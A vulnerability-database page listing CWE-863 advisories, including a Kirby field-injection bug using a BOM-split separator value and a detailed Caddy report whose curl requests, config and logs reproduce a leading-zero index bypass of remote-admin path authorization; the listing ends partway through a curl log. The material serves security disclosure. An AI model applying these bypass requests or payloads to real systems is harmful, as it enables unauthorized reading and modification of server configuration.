Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5511 vulnerabilities reference this CWE, most recent first.

GHSA-X5MR-P6V4-WP93

Vulnerability from github – Published: 2023-07-28 15:35 – Updated: 2023-07-28 15:35
VLAI
Summary
Field injection in the KirbyData text storage handler
Details

TL;DR

This vulnerability affects all Kirby sites that might have potential attackers in the group of authenticated Panel users or that allow external visitors to update a Kirby content file (e.g. via a contact or comment form).

Your Kirby sites are not affected if they don't allow write access for untrusted users or visitors.


Introduction

A field injection in a content storage implementation is a type of vulnerability that allows attackers with content write access to overwrite content fields that the site developer didn't intend to be modified.

In a Kirby site this can be used to alter site content, break site behavior or inject malicious data or code. The exact security risk depends on the field type and usage.

Impact

Kirby stores content of the site, of pages, files and users in text files by default. The text files use Kirby's KirbyData format where each field is separated by newlines and a line with four dashes (----).

When reading a KirbyData file, the affected code first removed the Unicode BOM sequence from the file contents and afterwards split the content into fields by the field separator.

When writing to a KirbyData file, field separators in field data are escaped to prevent user input from interfering with the field structure. However this escaping could be tricked by including a Unicode BOM sequence in a field separator (e.g. --\xEF\xBB\xBF--). When writing, this was not detected as a separator, but during the read process the BOM was removed, turning the malicious line into a valid separator. This could be abused by attackers to inject other field data into content files.

Because each field can only be defined once per content file, this vulnerability only affects fields in the content file that were defined above the vulnerable user-writable field or not at all. Fields that are defined below the vulnerable field override the injected field content and were therefore already protected.

Patches

The problem has been patched in Kirby 3.5.8.3, Kirby 3.6.6.3, Kirby 3.7.5.2, Kirby 3.8.4.1 and Kirby 3.9.6. Please update to one of these or a later version to fix the vulnerability.

In all of the mentioned releases, we have fixed the affected code to only remove the Unicode BOM sequence at the beginning of the file. This fixes this vulnerability both for newly written as well as for existing content files.

Credits

Thanks to Patrick Falb (@dapatrese) at FORMER 03 for responsibly reporting the identified issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.0"
            },
            {
              "fixed": "3.8.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "3.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-140",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-28T15:35:47Z",
    "nvd_published_at": "2023-07-27T15:15:11Z",
    "severity": "HIGH"
  },
  "details": "### TL;DR\n\nThis vulnerability affects all Kirby sites that might have potential attackers in the group of authenticated Panel users or that allow external visitors to update a Kirby content file (e.g. via a contact or comment form).\n\nYour Kirby sites are *not* affected if they don\u0027t allow write access for untrusted users or visitors.\n\n----\n\n### Introduction\n\nA field injection in a content storage implementation is a type of vulnerability that allows attackers with content write access to overwrite content fields that the site developer didn\u0027t intend to be modified.\n\nIn a Kirby site this can be used to alter site content, break site behavior or inject malicious data or code. The exact security risk depends on the field type and usage.\n\n### Impact\n\nKirby stores content of the site, of pages, files and users in text files by default. The text files use Kirby\u0027s KirbyData format where each field is separated by newlines and a line with four dashes (`----`).\n\nWhen reading a KirbyData file, the affected code first removed the Unicode BOM sequence from the file contents and afterwards split the content into fields by the field separator.\n\nWhen writing to a KirbyData file, field separators in field data are escaped to prevent user input from interfering with the field structure. However this escaping could be tricked by including a Unicode BOM sequence in a field separator (e.g. `--\\xEF\\xBB\\xBF--`). When writing, this was not detected as a separator, but during the read process the BOM was removed, turning the malicious line into a valid separator. This could be abused by attackers to inject other field data into content files.\n\nBecause each field can only be defined once per content file, this vulnerability only affects fields in the content file that were defined above the vulnerable user-writable field or not at all. Fields that are defined below the vulnerable field override the injected field content and were therefore already protected.\n\n### Patches\n\nThe problem has been patched in [Kirby 3.5.8.3](https://github.com/getkirby/kirby/releases/tag/3.5.8.3), [Kirby 3.6.6.3](https://github.com/getkirby/kirby/releases/tag/3.6.6.3), [Kirby 3.7.5.2](https://github.com/getkirby/kirby/releases/tag/3.7.5.2), [Kirby 3.8.4.1](https://github.com/getkirby/kirby/releases/tag/3.8.4.1) and [Kirby 3.9.6](https://github.com/getkirby/kirby/releases/tag/3.9.6). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, we have fixed the affected code to only remove the Unicode BOM sequence at the beginning of the file. This fixes this vulnerability both for newly written as well as for existing content files.\n\n### Credits\n\nThanks to Patrick Falb (@dapatrese) at [FORMER 03](https://former03.de/) for responsibly reporting the identified issue.",
  "id": "GHSA-x5mr-p6v4-wp93",
  "modified": "2023-07-28T15:35:47Z",
  "published": "2023-07-28T15:35:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/security/advisories/GHSA-x5mr-p6v4-wp93"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38488"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/commit/a1e0f81c799ddae1af91cf37216f8ded9cb93540"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkirby/kirby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.5.8.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.6.6.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.7.5.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.8.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.9.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Field injection in the KirbyData text storage handler"
}

GHSA-X5V3-33M6-C266

Vulnerability from github – Published: 2025-01-09 21:31 – Updated: 2025-01-10 18:31
VLAI
Details

Incorrect Authorization vulnerability in Drupal Monster Menus allows Forceful Browsing.This issue affects Monster Menus: from 0.0.0 before 9.3.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T20:15:37Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect Authorization vulnerability in Drupal Monster Menus allows Forceful Browsing.This issue affects Monster Menus: from 0.0.0 before 9.3.2.",
  "id": "GHSA-x5v3-33m6-c266",
  "modified": "2025-01-10T18:31:40Z",
  "published": "2025-01-09T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13281"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2024-045"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5VR-47XP-GJ5R

Vulnerability from github – Published: 2025-01-31 03:32 – Updated: 2025-01-31 18:31
VLAI
Details

Software installed and run as a non-privileged user may conduct improper read/write operations on imported/exported DMA buffers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-46974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T03:15:11Z",
    "severity": "HIGH"
  },
  "details": "Software installed and run as a non-privileged user may conduct improper read/write operations on imported/exported DMA buffers.",
  "id": "GHSA-x5vr-47xp-gj5r",
  "modified": "2025-01-31T18:31:05Z",
  "published": "2025-01-31T03:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46974"
    },
    {
      "type": "WEB",
      "url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5W7-H7FG-W2G5

Vulnerability from github – Published: 2025-12-18 06:30 – Updated: 2025-12-18 06:30
VLAI
Details

Memory corruption while loading an invalid firmware in boot loader.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-47382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T06:15:49Z",
    "severity": "HIGH"
  },
  "details": "Memory corruption while loading an invalid firmware in boot loader.",
  "id": "GHSA-x5w7-h7fg-w2g5",
  "modified": "2025-12-18T06:30:13Z",
  "published": "2025-12-18T06:30:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47382"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/december-2025-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5W9-XH9R-MVFC

Vulnerability from github – Published: 2026-05-19 15:51 – Updated: 2026-05-19 15:51
VLAI
Summary
Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization
Details

This report is not about a normal textual prefix-expansion case.

The issue here is that the authorization layer and the /config traversal layer do not agree on what object the path refers to.

In this case, a path authorized for one config object is accepted, but then resolves to a different config object during traversal.

## AI Disclosure

The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.

## Summary

A remote admin client certificate restricted to the following path:

```text /config/apps/http/servers/srv/routes/0

  can still read and modify a different array element by requesting:

  /config/apps/http/servers/srv/routes/01

  This happens because:

  - the authorization layer uses string prefix matching
  - the /config traversal layer parses array indices numerically using strconv.Atoi()

  So:

  - authorization sees /.../01 as matching /.../0
  - traversal resolves 01 to numeric index 1
  - the request therefore targets routes[1], not routes[0]

  This is not just a prefix-match quirk. It is an authorization-to-object mismatch.

  ## Why This Is In Scope

  This is a security bug in Caddy's own code:

  - no browser behavior is involved
  - no dependency bug is involved
  - no external system compromise is involved
  - no third-party software compromise is required
  - no unsafe content hosting or file upload is required

  This is also not just “an unsafe configuration”.

  The configuration explicitly attempts to limit access to one specific path:

  /config/apps/http/servers/srv/routes/0

  But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.

  In short:

  - configured authorization target: routes[0]
  - actual accessed object: routes[1]

  That difference is caused by Caddy itself.

  ## Relevant Source Code

  Authorization path matching:

  - admin.go:719

  Authorization config comment:

  - admin.go:213

  Config traversal with numeric parsing:

  - admin.go:1201
  - admin.go:1310

  ## Root Cause

  ### Authorization layer

for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } }


  ### Traversal layer

  idx, err = strconv.Atoi(idxStr)

  and later:

  partInt, err := strconv.Atoi(part)

  Because of that:

  - allowed path: /config/.../routes/0
  - requested path: /config/.../routes/01
  - authorization decision: allowed
  - actual object selected: routes[1]

  ## Why This Is Not Just a “Prefix” Case

  For a normal path hierarchy, a “subpath” means a child resource of the same authorized object.

  For example:

  - /config/apps/http
  - /config/apps/http/servers
  - /config/apps/http/servers/srv/routes/0/handle

  Those are genuine deeper descendants.

  But this case is different.

  Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.

  So:

  - /routes/0 means routes[0]
  - /routes/01 means routes[1]
  - /routes/02 means routes[2]

  That means /routes/01 is not a child of routes[0] in object semantics.
  It is a different array element entirely.

  So even if prefix matching is documented, this case is different because:

  - authorization uses the textual form
  - traversal uses the numeric form
  - the two refer to different objects

  This should be treated as an authorization bug rather than a documented prefix behavior.

  ## Security Impact

  A remote admin identity restricted to one /config array element can:

  - read a different array element
  - modify a different array element

  This breaks least-privilege remote admin policies.

  In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.

  ## Affected Product

  Tested on:

  v2.11.2-3-gdf65455b

  Affected area:

  - remote admin
  - admin.remote.access_control.permissions.paths
  - /config API paths containing numeric array indices

  The reporter reproduced this on current HEAD.


  ## Minimal Reproduction Configuration

{ "storage": { "module": "file_system", "root": "/tmp/caddy-config-index-storage" }, "admin": { "listen": "127.0.0.1:2029", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2031", "access_control": [ { "public_keys": [""], "permissions": [ { "methods": ["GET", "PATCH"], "paths": ["/config/apps/http/servers/srv/routes/0"] } ] } ] } }, "apps": { "http": { "servers": { "srv": { "listen": [":9088"], "routes": [ { "handle": [ { "handler": "static_response", "body": "route zero" } ] }, { "handle": [ { "handler": "static_response", "body": "route one" } ] } ] } } } } }


  ## Commands

  ### 1. Generate client certificate

openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt


  ### 2. Convert to base64 DER

CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

  ### 3. Start Caddy

go run ./cmd/caddy run --config ./repro.json

  ## Specific Minimal Reproduction Steps

  ### Step 1: Read the explicitly authorized object

curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0

  Observed result:

< HTTP/1.1 200 OK {"handle":[{"body":"route zero","handler":"static_response"}]}

  ### Step 2: Read a different object using a leading-zero index

curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01

  Observed result:

< HTTP/1.1 200 OK {"handle":[{"body":"route one","handler":"static_response"}]}

  This shows that a client limited to routes/0 can read routes[1].

  ### Step 3: Confirm that the traversal layer is interpreting the component numerically

curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02

  Observed result:

< HTTP/1.1 400 Bad Request {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}

  This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.

  ### Step 4: Modify the unauthorized object

curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01

  Observed result:

< HTTP/1.1 200 OK

  ### Step 5: Confirm the unauthorized modification

curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01

  Observed result:

< HTTP/1.1 200 OK {"handle":[{"body":"patched route one","handler":"static_response"}]}

  That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.

  ## Precise Requests and Captured Output

  ### Authorized read

GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < {"handle":[{"body":"route zero","handler":"static_response"}]}

  ### Unauthorized read

GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < {"handle":[{"body":"route one","handler":"static_response"}]}

  ### Numeric index interpretation evidence

GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 400 Bad Request < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}

  ### Unauthorized modification

PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / Content-Type: application/json Content-Length: 69 < < HTTP/1.1 200 OK

  ### Confirmation of unauthorized modification

GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < {"handle":[{"body":"patched route one","handler":"static_response"}]}

  ## Full Log Output

  Relevant startup logs from the reproduction run:

root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:10:51.148 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:10:51.148 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:10:51.148 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:10:51.149 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:10:51.149 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:10:51.149 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc0003d7580"} 2026/03/20 02:10:51.149 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc00026fd00"} 2026/03/20 02:10:51.149 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:10:51.149 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:10:51.149 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:10:51.149 INFO serving initial configuration 2026/03/20 02:10:51.156 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:10:51.156", "try_again_in": 86399.999999609} 2026/03/20 02:10:51.156 INFO tls finished cleaning storage units 2026/03/20 02:11:14.787 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "59932", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:11:22.116 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "40070", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} pkill -f '/tmp/caddy-config-index-repro.json' ^C2026/03/20 02:13:47.114 INFO shutting down {"signal": "SIGINT"} 2026/03/20 02:13:47.114 WARN exiting; byeee!! 👋 {"signal": "SIGINT"} 2026/03/20 02:13:47.114 INFO http servers shutting down with eternal grace period 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:13:47.114 INFO shutdown complete {"signal": "SIGINT", "exit_code": 0} root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json' bash: rg: command not found root@dbdd95a60758:/caddy# ss -ltnp | rg ':2029|:2031|:9088' bash: rg: command not found root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:14:52.698 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:14:52.698 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:14:52.698 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:14:52.698 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:14:52.699 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:14:52.699 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc00011d900"} 2026/03/20 02:14:52.699 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:14:52.699 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:14:52.699 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:14:52.699 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:14:52.699 INFO serving initial configuration 2026/03/20 02:14:52.706 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:14:52.706", "try_again_in": 86399.999999659} 2026/03/20 02:14:52.706 INFO tls finished cleaning storage units 2026/03/20 02:15:17.145 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "35382", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:28.746 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "38998", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/02", "remote_ip": "127.0.0.1", "remote_port": "46698", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 ERROR admin.api request error {"error": "[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02", "status_code": 400} 2026/03/20 02:15:39.610 INFO admin.api received request {"method": "PATCH", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "46712", "headers": {"Accept":["/"],"Content-Length":["69"],"Content-Type":["application/json"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:39.610 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:15:39.610 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:15:39.610 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance stopped background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0005b6a00"} 2026/03/20 02:15:39.611 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:15:39.611 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:15:39.611 INFO http servers shutting down with eternal grace period 2026/03/20 02:15:39.611 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:15:39.612 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:15:49.018 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "53712", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}


root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x

GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /

  • TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < Date: Fri, 20 Mar 2026 02:15:17 GMT < Content-Length: 63 < {"handle":[{"body":"route zero","handler":"static_response"}]}
  • Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01
  • Added localhost:2031:127.0.0.1 to DNS cache
  • Hostname localhost was found in DNS cache
  • Trying 127.0.0.1:2031...
  • Connected to localhost (127.0.0.1) port 2031
  • ALPN: curl offers h2,http/1.1
  • TLSv1.3 (OUT), TLS handshake, Client hello (1):
  • TLSv1.3 (IN), TLS handshake, Server hello (2):
  • TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
  • TLSv1.3 (IN), TLS handshake, Request CERT (13):
  • TLSv1.3 (IN), TLS handshake, Certificate (11):
  • TLSv1.3 (IN), TLS handshake, CERT verify (15):
  • TLSv1.3 (IN), TLS handshake, Finished (20):
  • TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
  • TLSv1.3 (OUT), TLS handshake, Certificate (11):
  • TLSv1.3 (OUT), TLS handshake, CERT verify (15):
  • TLSv1.3 (OUT), TLS handshake, Finished (20):
  • SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
  • ALPN: server did not agree on a protocol. Uses default.
  • Server certificate:
  • subject: [NONE]
  • start date: Mar 19 21:59:41 2026 GMT
  • expire date: Mar 20 09:59:41 2026 GMT
  • issuer: CN=Caddy Local Authority - ECC Intermediate
  • SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
  • Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
